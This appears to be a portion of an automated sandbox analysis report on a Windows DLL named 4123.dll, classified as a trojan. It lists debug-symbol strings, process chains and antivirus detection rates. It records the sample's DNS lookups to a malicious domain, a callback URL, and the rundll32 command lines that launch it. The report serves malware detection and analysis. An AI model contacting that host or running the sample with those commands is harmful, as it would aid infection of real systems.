Source:	Binary string: cryptbase.pdb source: WerFault.exe, 00000008.00000003.641899016.00000000059C7000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp, WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: winspool.pdbr source: WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp
Source:	Binary string: winspool.pdbo source: WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: bcrypt.pdbt source: WerFault.exe, 00000008.00000003.641899016.00000000059C7000.00000004.00000040.sdmp
Source:	Binary string: wkernelbase.pdb( source: WerFault.exe, 00000008.00000003.636714132.000000000338C000.00000004.00000001.sdmp, WerFault.exe, 0000000C.00000003.642523716.000000000338A000.00000004.00000001.sdmp
Source:	Binary string: bcryptprimitives.pdb source: WerFault.exe, 00000008.00000003.641942201.00000000059C0000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.642409344.0000000000AB0000.00000004.00000040.sdmp, WerFault.exe, 0000000C.00000003.651140195.00000000056B0000.00000004.00000040.sdmp
Source:	Binary string: oleaut32.pdb{ source: WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: oleaut32.pdb source: WerFault.exe, 00000008.00000003.641899016.00000000059C7000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp, WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: wuser32.pdb source: WerFault.exe, 00000008.00000003.641867150.00000000057F1000.00000004.00000001.sdmp, WerFault.exe, 00000009.00000003.642348712.0000000004E81000.00000004.00000001.sdmp, WerFault.exe, 0000000C.00000003.650931846.00000000056E1000.00000004.00000001.sdmp
Source:	Binary string: dhcpcsvc.pdb} source: WerFault.exe, 00000008.00000003.641899016.00000000059C7000.00000004.00000040.sdmp
Source:	Binary string: cryptbase.pdbn source: WerFault.exe, 00000008.00000003.641899016.00000000059C7000.00000004.00000040.sdmp
Source:	Binary string: crypt32.pdb source: WerFault.exe, 00000008.00000003.641899016.00000000059C7000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp, WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp

Networking:

Performs DNS queries to domains with low reputation

Show sources

Source: C:\Windows\SysWOW64\rundll32.exe	DNS query: veso2.xyz
Source: C:\Windows\SysWOW64\rundll32.exe	DNS query: veso2.xyz
Source: C:\Windows\SysWOW64\rundll32.exe	DNS query: veso2.xyz

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 3_2_04851640 wsprintfA,WSAStartup,socket,gethostbyname,htons,connect,send,recv,closesocket,WSACleanup,

3_2_04851640

Source: unknown

DNS traffic detected: queries for: veso2.xyz

Source: WerFault.exe, 00000009.00000003.655034598.0000000004A3A000.00000004.00000001.sdmp	String found in binary or memory: http://crl.microsoft
Source: WerFault.exe, 0000000C.00000003.697579137.0000000005109000.00000004.00000001.sdmp	String found in binary or memory: http://crl.microsoftH
Source: rundll32.exe, rundll32.exe, 0000000A.00000002.701579769.0000000000AAB000.00000004.00000010.sdmp	String found in binary or memory: http://veso2.xyz/campo/r/r1
Source: rundll32.exe, 00000003.00000002.662513941.00000000011A4000.00000004.00000001.sdmp, rundll32.exe, 00000004.00000002.668070742.0000000003372000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.667384317.0000000001150000.00000040.00000001.sdmp, rundll32.exe, 0000000A.00000002.703520436.00000000011B2000.00000002.00000001.sdmp	String found in binary or memory: http://veso2.xyz/campo/r/r1C:
Source: rundll32.exe, 00000003.00000002.660720123.000000000090B000.00000004.00000010.sdmp	String found in binary or memory: http://veso2.xyz/campo/r/r1F

System Summary:

Rundll32 performs DNS lookup (likely malicious behavior)

Show sources

Source: C:\Windows\SysWOW64\rundll32.exe	DNS query: name: veso2.xyz
Source: C:\Windows\SysWOW64\rundll32.exe	DNS query: name: veso2.xyz
Source: C:\Windows\SysWOW64\rundll32.exe	DNS query: name: veso2.xyz

Source: C:\Windows\SysWOW64\WerFault.exe

File created: C:\Windows\AppCompat\Programs\Amcache.hve.tmp

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 3_2_10001140

3_2_10001140

Source: C:\Windows\SysWOW64\rundll32.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7132 -s 1008

Source: 4123.dll	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 4123.dll	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: 4123.dll

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL, LINE_NUMS_STRIPPED

Source: classification engine

Classification label: mal80.troj.evad.winDLL@12/15@3/1

Source: C:\Windows\SysWOW64\rundll32.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Crypto

Jump to behavior

Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7120
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7132
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess5752

Source: C:\Windows\SysWOW64\WerFault.exe

File created: C:\ProgramData\Microsoft\Windows\WER\Temp\WERA0B3.tmp

Jump to behavior

Source: 4123.dll

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\loaddll32.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: C:\Windows\System32\loaddll32.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\4123.dll,DF1

Source: 4123.dll	Virustotal: Detection: 55%
Source: 4123.dll	ReversingLabs: Detection: 62%

Source: unknown	Process created: C:\Windows\System32\loaddll32.exe loaddll32.exe 'C:\Users\user\Desktop\4123.dll'
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\4123.dll',#1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\4123.dll,DF1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\4123.dll',#1
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7132 -s 1008
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7120 -s 1008
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\4123.dll',DF1
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5752 -s 1008
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\4123.dll',#1	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\4123.dll,DF1	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\4123.dll',DF1	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\4123.dll',#1	Jump to behavior

Source:	Binary string: cryptbase.pdbP source: WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp
Source:	Binary string: pnrpnsp.pdbY source: WerFault.exe, 00000008.00000003.641899016.00000000059C7000.00000004.00000040.sdmp
Source:	Binary string: rsaenh.pdb source: WerFault.exe, 00000008.00000003.641899016.00000000059C7000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp, WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: fltLib.pdb6 source: WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp
Source:	Binary string: wkernel32.pdb source: WerFault.exe, 00000008.00000003.636944028.0000000003386000.00000004.00000001.sdmp, WerFault.exe, 00000009.00000003.636727331.0000000002DD7000.00000004.00000001.sdmp, WerFault.exe, 0000000C.00000003.642877334.00000000051BB000.00000004.00000001.sdmp
Source:	Binary string: sfc_os.pdb source: WerFault.exe, 00000008.00000003.641899016.00000000059C7000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp, WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: bcrypt.pdb source: WerFault.exe, 00000008.00000003.641899016.00000000059C7000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp, WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: ucrtbase.pdb source: WerFault.exe, 00000008.00000003.641893367.00000000059C1000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.642363725.0000000000AB1000.00000004.00000040.sdmp, WerFault.exe, 0000000C.00000003.651005092.00000000056B1000.00000004.00000040.sdmp
Source:	Binary string: NapiNSP.pdb source: WerFault.exe, 00000008.00000003.641899016.00000000059C7000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp, WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: msvcrt.pdb source: WerFault.exe, 00000008.00000003.641867150.00000000057F1000.00000004.00000001.sdmp, WerFault.exe, 00000009.00000003.642348712.0000000004E81000.00000004.00000001.sdmp, WerFault.exe, 0000000C.00000003.650931846.00000000056E1000.00000004.00000001.sdmp
Source:	Binary string: wrpcrt4.pdb source: WerFault.exe, 00000008.00000003.641942201.00000000059C0000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.642409344.0000000000AB0000.00000004.00000040.sdmp, WerFault.exe, 0000000C.00000003.651140195.00000000056B0000.00000004.00000040.sdmp
Source:	Binary string: wntdll.pdb source: WerFault.exe, 00000008.00000003.636702692.0000000003380000.00000004.00000001.sdmp, WerFault.exe, 00000009.00000003.637261679.0000000002DD1000.00000004.00000001.sdmp, WerFault.exe, 0000000C.00000003.642507283.000000000337E000.00000004.00000001.sdmp
Source:	Binary string: winnsi.pdb source: WerFault.exe, 00000008.00000003.641899016.00000000059C7000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp, WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: cryptsp.pdb source: WerFault.exe, 00000008.00000003.641899016.00000000059C7000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp, WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: advapi32.pdb source: WerFault.exe, 00000008.00000003.641899016.00000000059C7000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp, WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: wsspicli.pdb source: WerFault.exe, 00000008.00000003.641942201.00000000059C0000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.642409344.0000000000AB0000.00000004.00000040.sdmp, WerFault.exe, 0000000C.00000003.651140195.00000000056B0000.00000004.00000040.sdmp
Source:	Binary string: bcrypt.pdb* source: WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp
Source:	Binary string: dwmapi.pdb, source: WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: fltLib.pdbS source: WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: msctf.pdb_ source: WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: rasadhlp.pdbq source: WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp
Source:	Binary string: wkernelbase.pdb source: WerFault.exe, 00000008.00000003.636714132.000000000338C000.00000004.00000001.sdmp, WerFault.exe, 00000009.00000003.637048796.0000000002DDD000.00000004.00000001.sdmp, WerFault.exe, 0000000C.00000003.642523716.000000000338A000.00000004.00000001.sdmp
Source:	Binary string: shlwapi.pdb source: WerFault.exe, 00000008.00000003.641899016.00000000059C7000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp, WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: mpr.pdb source: WerFault.exe, 00000008.00000003.641899016.00000000059C7000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp, WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: msasn1.pdb} source: WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp
Source:	Binary string: dwmapi.pdb source: WerFault.exe, 00000008.00000003.641899016.00000000059C7000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp, WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: sfc_os.pdb source: WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp
Source:	Binary string: shcore.pdbk source: WerFault.exe, 00000008.00000003.641954637.00000000059C4000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.642418429.0000000000AB4000.00000004.00000040.sdmp, WerFault.exe, 0000000C.00000003.651005092.00000000056B1000.00000004.00000040.sdmp
Source:	Binary string: advapi32.pdb& source: WerFault.exe, 00000008.00000003.641899016.00000000059C7000.00000004.00000040.sdmp
Source:	Binary string: ws2_32.pdb source: WerFault.exe, 00000008.00000003.641899016.00000000059C7000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp, WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: msvcp60.pdb? source: WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: winspool.pdb source: WerFault.exe, 00000008.00000003.641899016.00000000059C7000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp, WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: shell32.pdbk source: WerFault.exe, 00000008.00000003.641893367.00000000059C1000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.642363725.0000000000AB1000.00000004.00000040.sdmp, WerFault.exe, 0000000C.00000003.651005092.00000000056B1000.00000004.00000040.sdmp
Source:	Binary string: iphlpapi.pdb} source: WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: iphlpapi.pdb source: WerFault.exe, 00000008.00000003.641899016.00000000059C7000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp, WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: rsaenh.pdb6 source: WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: shlwapi.pdbt source: WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp
Source:	Binary string: nsi.pdb source: WerFault.exe, 00000008.00000003.641899016.00000000059C7000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp, WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: ucrtbase.pdbk source: WerFault.exe, 00000008.00000003.641893367.00000000059C1000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.642363725.0000000000AB1000.00000004.00000040.sdmp, WerFault.exe, 0000000C.00000003.651005092.00000000056B1000.00000004.00000040.sdmp
Source:	Binary string: powrprof.pdb source: WerFault.exe, 00000008.00000003.641899016.00000000059C7000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp, WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: propsys.pdbh source: WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp
Source:	Binary string: NapiNSP.pdbc source: WerFault.exe, 00000008.00000003.641899016.00000000059C7000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp
Source:	Binary string: AcLayers.pdb source: WerFault.exe, 00000008.00000003.641867150.00000000057F1000.00000004.00000001.sdmp, WerFault.exe, 00000009.00000003.642348712.0000000004E81000.00000004.00000001.sdmp, WerFault.exe, 0000000C.00000003.650931846.00000000056E1000.00000004.00000001.sdmp
Source:	Binary string: advapi32.pdbB source: WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp
Source:	Binary string: shlwapi.pdbe source: WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: userenv.pdbe source: WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp
Source:	Binary string: msasn1.pdb source: WerFault.exe, 00000008.00000003.641899016.00000000059C7000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp, WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: dpapi.pdb? source: WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp
Source:	Binary string: cfgmgr32.pdb source: WerFault.exe, 00000008.00000003.641893367.00000000059C1000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.642418429.0000000000AB4000.00000004.00000040.sdmp, WerFault.exe, 0000000C.00000003.651005092.00000000056B1000.00000004.00000040.sdmp
Source:	Binary string: Windows.Storage.pdb source: WerFault.exe, 00000008.00000003.641942201.00000000059C0000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.642409344.0000000000AB0000.00000004.00000040.sdmp, WerFault.exe, 0000000C.00000003.651140195.00000000056B0000.00000004.00000040.sdmp
Source:	Binary string: combase.pdb source: WerFault.exe, 00000008.00000003.641899016.00000000059C7000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp, WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: winnsi.pdbh source: WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: msvcp60.pdb source: WerFault.exe, 00000008.00000003.641899016.00000000059C7000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp, WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: wkernel32.pdb( source: WerFault.exe, 00000008.00000003.636944028.0000000003386000.00000004.00000001.sdmp, WerFault.exe, 0000000C.00000003.643200294.0000000003384000.00000004.00000001.sdmp
Source:	Binary string: rundll32.pdb source: WerFault.exe, 00000008.00000002.658372686.00000000035C0000.00000002.00000001.sdmp, WerFault.exe, 00000009.00000002.656286484.00000000009C0000.00000002.00000001.sdmp, WerFault.exe, 0000000C.00000002.698870871.0000000003430000.00000002.00000001.sdmp
Source:	Binary string: sfc.pdb source: WerFault.exe, 00000008.00000003.641899016.00000000059C7000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp, WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: dpapi.pdb source: WerFault.exe, 00000008.00000003.641899016.00000000059C7000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp, WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: apphelp.pdb source: WerFault.exe, 00000008.00000003.641867150.00000000057F1000.00000004.00000001.sdmp, WerFault.exe, 00000009.00000003.642348712.0000000004E81000.00000004.00000001.sdmp, WerFault.exe, 0000000C.00000003.650931846.00000000056E1000.00000004.00000001.sdmp
Source:	Binary string: wimm32.pdbZ source: WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp
Source:	Binary string: profapi.pdb\ source: WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp
Source:	Binary string: wimm32.pdbU source: WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: rasadhlp.pdb source: WerFault.exe, 00000008.00000003.641899016.00000000059C7000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp, WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: shlwapi.pdb0 source: WerFault.exe, 00000008.00000003.641899016.00000000059C7000.00000004.00000040.sdmp
Source:	Binary string: winnsi.pdbW source: WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp
Source:	Binary string: dhcpcsvc.pdb source: WerFault.exe, 00000008.00000003.641899016.00000000059C7000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp, WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: cryptsp.pdbr source: WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: msasn1.pdb8 source: WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: sechost.pdbI source: WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: pnrpnsp.pdb source: WerFault.exe, 00000008.00000003.641899016.00000000059C7000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp, WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: advapi32.pdbq source: WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: lbase.pdb source: WerFault.exe, 00000009.00000003.636822779.0000000004A2D000.00000004.00000001.sdmp
Source:	Binary string: cryptsp.pdb{ source: WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp
Source:	Binary string: dhcpcsvc6.pdbS source: WerFault.exe, 00000008.00000003.641899016.00000000059C7000.00000004.00000040.sdmp
Source:	Binary string: rundll32.pdbGCTL source: WerFault.exe, 00000008.00000002.658372686.00000000035C0000.00000002.00000001.sdmp, WerFault.exe, 00000009.00000002.656286484.00000000009C0000.00000002.00000001.sdmp, WerFault.exe, 0000000C.00000002.698870871.0000000003430000.00000002.00000001.sdmp
Source:	Binary string: shcore.pdb source: WerFault.exe, 00000008.00000003.641954637.00000000059C4000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.642418429.0000000000AB4000.00000004.00000040.sdmp, WerFault.exe, 0000000C.00000003.651005092.00000000056B1000.00000004.00000040.sdmp
Source:	Binary string: wgdi32.pdb source: WerFault.exe, 00000008.00000003.641867150.00000000057F1000.00000004.00000001.sdmp, WerFault.exe, 00000009.00000003.642348712.0000000004E81000.00000004.00000001.sdmp, WerFault.exe, 0000000C.00000003.650931846.00000000056E1000.00000004.00000001.sdmp
Source:	Binary string: combase.pdbD source: WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp
Source:	Binary string: fltLib.pdb source: WerFault.exe, 00000008.00000003.641899016.00000000059C7000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp, WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: combase.pdbF source: WerFault.exe, 00000008.00000003.641899016.00000000059C7000.00000004.00000040.sdmp
Source:	Binary string: shell32.pdb source: WerFault.exe, 00000008.00000003.641893367.00000000059C1000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.642363725.0000000000AB1000.00000004.00000040.sdmp, WerFault.exe, 0000000C.00000003.651005092.00000000056B1000.00000004.00000040.sdmp
Source:	Binary string: nsi.pdb{ source: WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: powrprof.pdb* source: WerFault.exe, 00000008.00000003.641899016.00000000059C7000.00000004.00000040.sdmp
Source:	Binary string: msvcp_win.pdb source: WerFault.exe, 00000008.00000003.641867150.00000000057F1000.00000004.00000001.sdmp, WerFault.exe, 00000009.00000003.642348712.0000000004E81000.00000004.00000001.sdmp, WerFault.exe, 0000000C.00000003.650931846.00000000056E1000.00000004.00000001.sdmp
Source:	Binary string: sechost.pdb8 source: WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp
Source:	Binary string: dnsapi.pdb source: WerFault.exe, 00000008.00000003.641899016.00000000059C7000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp, WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: wimm32.pdb source: WerFault.exe, 00000008.00000003.641899016.00000000059C7000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp, WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: userenv.pdb source: WerFault.exe, 00000008.00000003.641899016.00000000059C7000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp, WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: wwin32u.pdb source: WerFault.exe, 00000008.00000003.641867150.00000000057F1000.00000004.00000001.sdmp, WerFault.exe, 00000009.00000003.642348712.0000000004E81000.00000004.00000001.sdmp, WerFault.exe, 0000000C.00000003.650931846.00000000056E1000.00000004.00000001.sdmp
Source:	Binary string: setupapi.pdb source: WerFault.exe, 00000008.00000003.641899016.00000000059C7000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp, WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: nlaapi.pdb source: WerFault.exe, 00000008.00000003.641899016.00000000059C7000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp, WerFault.exe, 0000000C.00000003.651029204.00000000056B7000.00000004.00000040.sdmp
Source:	Binary string: iphlpapi.pdbf source: WerFault.exe, 00000009.00000003.642375738.0000000000AB7000.00000004.00000040.sdmp
Source:	Binary string: l32.pdb source: WerFault.exe, 00000009.00000003.636822779.0000000004A2D000.00000004.00000001.sdmp
